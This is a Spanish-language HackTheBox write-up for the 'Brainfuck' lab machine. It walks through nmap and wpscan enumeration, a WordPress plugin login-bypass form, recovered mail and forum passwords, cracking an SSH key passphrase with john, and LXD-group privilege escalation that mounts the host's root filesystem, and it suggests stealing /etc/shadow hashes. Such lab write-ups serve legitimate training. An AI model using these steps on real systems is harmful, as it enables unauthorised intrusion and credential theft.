---
# System prepended metadata

title: Brainfuck WriteUp

---

# Brainfuck WriteUp
Hola a todos este es mi primer writeup sobre alguna caja de HackTheBox para la comunidad de habla hispana, solamente subiré aquellas máquinas que me gustaron y que no me dieron flojera al hacer los writeups :v 
## Información General
![](https://i.imgur.com/2BLIJAc.png)


Nmap scan:

```
    # Nmap 7.91 scan initiated Thu Feb 25 17:07:35 2021 as: nmap -sC -sV -p22,25,110,143,443 -vv -Pn -oN nmap/brainfuck.nmap 10.10.10.17
    Nmap scan report for 10.10.10.17
    Host is up, received user-set (0.13s latency).
    Scanned at 2021-02-25 17:07:36 -05 for 53s

    PORT    STATE SERVICE  REASON         VERSION
    22/tcp  open  ssh      syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
    | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUvFkWE1DxJj4OsU4DiVLjkxYV2a9pSlMS/78hpx0IejJaFilgNb+RFCyfyhIw5NvsZB6hZiNL0vPDh+MscPd75heIIgx9mczfamsrA2KODdkdgUJPCBWUnF9/VhYQhJpGvo4f6lAwLz7wnmcjhiXencMNkZcweADi5aK0Xp6iFxYcwx6+qy0891gQ5TnVVazkDJNA+QMUamxJRm1tQN5dp/+TeBecWJH2AxQFXsM4wPkIFaE0GsKvYDmGyfy1YL/Gn5IxEqVrhIEYkDH4BQsbvORNueOtJKHoys7EhPF+STpx6ZAXS6AXhS/nJMz6EvubzeGqfBOaDIZN9u5JuCdf
    |   256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
    | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCJcOJZuuBlw9xDXy+VPpezMomPfySGOjABaxw02cmRifvzWE57mh1hlQD6z44IF1lsuW9E2NNH4xB4d8U0O5b0=
    |   256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
    |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOokdEAUqLEqEuY1CHNJ2xaDU+L+/0qb3XZO8UIZfrju
    25/tcp  open  smtp     syn-ack ttl 63 Postfix smtpd
    |_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
    110/tcp open  pop3     syn-ack ttl 63 Dovecot pop3d
    |_pop3-capabilities: UIDL SASL(PLAIN) PIPELINING USER TOP RESP-CODES AUTH-RESP-CODE CAPA
    143/tcp open  imap     syn-ack ttl 63 Dovecot imapd
    |_imap-capabilities: LITERAL+ SASL-IR IMAP4rev1 more ID capabilities post-login have ENABLE listed Pre-login OK LOGIN-REFERRALS AUTH=PLAINA0001 IDLE
    443/tcp open  ssl/http syn-ack ttl 63 nginx 1.10.0 (Ubuntu)
    | http-methods: 
    |_  Supported Methods: GET HEAD
    |_http-server-header: nginx/1.10.0 (Ubuntu)
    |_http-title: Welcome to nginx!
    | ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR/emailAddress=orestis@brainfuck.htb/localityName=Athens/organizationalUnitName=IT
    | Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
    | Issuer: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR/emailAddress=orestis@brainfuck.htb/localityName=Athens/organizationalUnitName=IT
    | Public Key type: rsa
    | Public Key bits: 3072
    | Signature Algorithm: sha256WithRSAEncryption
    | Not valid before: 2017-04-13T11:19:29
    | Not valid after:  2027-04-11T11:19:29
    | MD5:   cbf1 6899 96aa f7a0 0565 0fc0 9491 7f20
    | SHA-1: f448 e798 a817 5580 879c 8fb8 ef0e 2d3d c656 cb66
    | -----BEGIN CERTIFICATE-----
    | MIIFQzCCA6ugAwIBAgIJAI24F5h8eY+HMA0GCSqGSIb3DQEBCwUAMIGTMQswCQYD
    | VQQGEwJHUjEPMA0GA1UECAwGQXR0aWNhMQ8wDQYDVQQHDAZBdGhlbnMxFzAVBgNV
    | BAoMDkJyYWluZnVjayBMdGQuMQswCQYDVQQLDAJJVDEWMBQGA1UEAwwNYnJhaW5m
    | dWNrLmh0YjEkMCIGCSqGSIb3DQEJARYVb3Jlc3Rpc0BicmFpbmZ1Y2suaHRiMB4X
    | DTE3MDQxMzExMTkyOVoXDTI3MDQxMTExMTkyOVowgZMxCzAJBgNVBAYTAkdSMQ8w
    | DQYDVQQIDAZBdHRpY2ExDzANBgNVBAcMBkF0aGVuczEXMBUGA1UECgwOQnJhaW5m
    | dWNrIEx0ZC4xCzAJBgNVBAsMAklUMRYwFAYDVQQDDA1icmFpbmZ1Y2suaHRiMSQw
    | IgYJKoZIhvcNAQkBFhVvcmVzdGlzQGJyYWluZnVjay5odGIwggGiMA0GCSqGSIb3
    | DQEBAQUAA4IBjwAwggGKAoIBgQCjBI0m6FWgcLYONyxVeMgc+PuTFJMnMUjMb8BF
    | t0PIDSCt10grCCfzBNDIqfU9byiokyYVvvD+sRoWJQfMjd3I3NXMxHwpcLM6X9oR
    | Twt1iBBJRQkTnHOs1hyCmkiM+kn2W1xdL+mwBylAUlvUReLIDdS5anE7u95ApWsD
    | TTUt/mMUl1DwnCqrNkt3czQzCNfCIwIhbaLjsoXsiVo1fFEr6UpsyiaXad9eTTsl
    | EF9k3rByXrmP1WrkaFLqGhqS4v+rYtsyKGPngjAB664aAvB2sSI0/EuOTa7WOPcV
    | NP3Tga+zx55qXPeo6nqCttOlAKKwiZqba5AgDAjSFdB6Q60dghWSuRYU999Ku6zA
    | DdwP0BoT5+kcZJENY7wx1uzysSMrtCoi8E6bfx42UwNQe/UCDDXErXat90hTB+vV
    | h2vaSdyR0tz3w1iIHBZH5/3rY3f+LyfE9fSg2TbGFgZNDq6O/iykVWb9SG+tl1fA
    | RB208Y1/mOw0+84G9RIjLVMLb0kCAwEAAaOBlzCBlDAdBgNVHQ4EFgQUj12KscJg
    | /6gSHzm+kzSN/psvik8wHwYDVR0jBBgwFoAUj12KscJg/6gSHzm+kzSN/psvik8w
    | DAYDVR0TBAUwAwEB/zALBgNVHQ8EBAMCBeAwNwYDVR0RBDAwLoIRd3d3LmJyYWlu
    | ZnVjay5odGKCGXN1cDNyczNjcjN0LmJyYWluZnVjay5odGIwDQYJKoZIhvcNAQEL
    | BQADggGBAJ11TuRhhSQfq5NHXU5fV5VkCOPUx3yKsWjt93Qm8WDD2rJcZAq8jW59
    | NHDWhzDlKZMyNYv8gKJ8k6HuG3f20yeifKZulGw/YsY6dDtTzO+tooBqzjWb9irh
    | bpMIVXv1xBSuz+f5YGdzpvlMK/Ltt1nEQNjKXaTnjy7OGfp4isMZCzBZeKAKnjdn
    | +s6TgFrFA94B56naXNaNLHvv9WcFKviwDTP2PtDz0fc9hbnZz8oxE5Q6/l50NGUK
    | 6bGCVIjDJfM/SsWPLHb4J6chkJxlZZLmpid+s5PsKSdY0ZZ1Oxb20O2mla77hDSJ
    | d43t/sZRBwWPEWxAHUR8Dj5pcrbCFyi57Qu4ENc5w7H0RhRyd0/OWs6ahn2ef4Qy
    | DSWfdpd5CVBGdSLVlVSjzLcBDmWuyy8q5CTgJ3VzIzOreg93F2mVAF+tlNZRX9rc
    | dFjsS0lwXWRZqd6642VuAtf4HoAFBh9PfBtUx+t1DxCXyY7OTwnvMsnNFg9fw11v
    | krhc81zFeg==
    |_-----END CERTIFICATE-----
    |_ssl-date: TLS randomness does not represent time
    | tls-alpn: 
    |_  http/1.1
    | tls-nextprotoneg: 
    |_  http/1.1
    Service Info: Host:  brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel

    Read data files from: /usr/bin/../share/nmap
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    # Nmap done at Thu Feb 25 17:08:29 2021 -- 1 IP address (1 host up) scanned in 54.97 seconds
```
## User

Podemos ver un servidor smtp (correo electrónico), un https 443 y ssh. Además podemos ver dos dominios apuntando: `brainfuck.htb` y `sup3rs3cr3t.brainfuck.htb`

Desde wappalyzer vi que hay un wordpress ejecutándose... 
Enumerando usuarios a través de https y abusando de complementos vulnerables:
```sh
# wpscan --url https://brainfuck.htb/ --disable-tls-checks -e u
```
```
[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] administrator
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
```
Next we search from a PoC or an exploit for WP Support Ticket Plus (or something like that)

we use a Privesc PoC we use a custim form pointing to an user in action to wp-admin/admin-ajax.php:
```html
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
		Username: <input type="text" name="username" value="admin">
		<input type="hidden" name="email" value="orestis@brainfuck.htb">
		<input type="hidden" name="action" value="loginGuestFacebook">
		<input type="submit" value="Login">
</form>
```
Observe que cambié el nombre de usuario y el valor del correo electrónico a admin y oresits@brainfuck.htb y lo usé, primero configuramos un servidor HTTP simple:
```sh
python3 -m http.server 8000
```
Luego iniciamos sesión y hacemos clic en el botón de inicio de sesión, luego actualiza brainfuck.htb y ¡whoala! Ahora puedo ver el panel de administración.
Pasé algún tiempo probando la inyección de código en temas o cargando un complemento malvado, pero no funcionó. Luego recuerdo el smtp y busqué en google smtp en wordpress y obtuve el resultado de la configuración de administrador de Easy SMTP wordpress y obtuve un crédito:

` orestis@brainfuck.htb:
kHGuERB29DNiNE`

Utilizo evolution para configurar un smtp porque es el primer cliente de correo electrónico que aprendí, después de configurar todo, encontré un correo electrónico con algunos créditos para el foro `sup3rs3cr3t.brainfuck.htb`:
    
    from root@brainfuck.htb:

    Hi there, your credentials for our "secret" forum are below :)

    username: orestis
    password: kIEnnfEKJ#9UmdO

    Regards

Inicie sesión con ese usuario y vea algunas publicaciones e hilos con uno interesante y este estaba encriptado, realmente pasé tantos nuestros tratando de descifrar y algún amigo me dio una pista y puedo descifrar el código vigenere con éxito.

Texto encriptado:

    Ybgbq wpl gw lto udgnju fcpp, C jybc zfu zrryolqp zfuz xjs rkeqxfrl ojwceec J uovg :)

    mnvze://10.10.10.17/8zb5ra10m915218697q1h658wfoq0zc8/frmfycu/sp_ptr

Llave para la desencriptación: `FUCKMYBRAIN`

Ahora tenemos una clave id_rsa pero necesitamos una frase de contraseña para usarla.
Podemos sacar el hash del passphrase con ssh2hohn.py y luego usamos john y estamos dentro.
```
# ssh2john.py id_rsa > root_hash.txt

# john --wordlist=/usr/share/wordlist/rockyou.txt root_hash.txt
```


## Root
Primero que nada hacemos una enumeración basica sobre qué permisos tenemos y vemos que pertencemos al grupo lxc.

Pasos para el privesc:

1.  Haz una imagen alpine en tu máquina de ataque, recomiendo ditrobuilder para eso.
    El proceso de instalación se encuentra en su github oficial en el siguiente url 
    https://github.com/lxc/distrobuilder
    Comandos usados para crear la imagen de alpine: 
    ```sh
    // Primero descargamos el archivo de configuración .yaml de la imagen:
    # wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
    
    // Construimos la imagen:
    # $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
    ```
    Después se nos crearan 2 archivos, __lxd.tar.xz__ y __rootfs.squashfs__.
    
2.  Descargue la imagen y el archivo raíz en la máquina víctima, para esto pueden usar un servidor web python y wget en la maquina victima.
    ```sh
    // Servidor en máquina local
    # python3 -m http.server 8000
    // Descarga en máquina víctima
    $ wget http://10.10.14.21:8000/lxd.tar.xz
    $ wget http://10.10.14.21:8000/rootfs.squashfs
    ```
    
4. Luego importe la imagen que monta el directorio raíz en la partición /mnt/ de la imagen alpine.
    ```sh
    $ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
    $ lxc init alpine privesc -c security.privileged=true
    $ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
    ```
6. Ejecute un shell en alpine, vaya a /mnt/root/root/ y podrá ver el root.txt
    ```sh
    $ lxc start privesc
    $ lxc exec privesc /bin/sh
    # cat /mnt/root/root/root.txt
    ```

También podemos ver todos los archivos de la máquina y robar los hashes de los usuarios en */etc/shadow* para descifrar las contraseñas.


Gracias por leer y no olviden el respect.
[@retr023](https://app.hackthebox.eu/profile/207457)

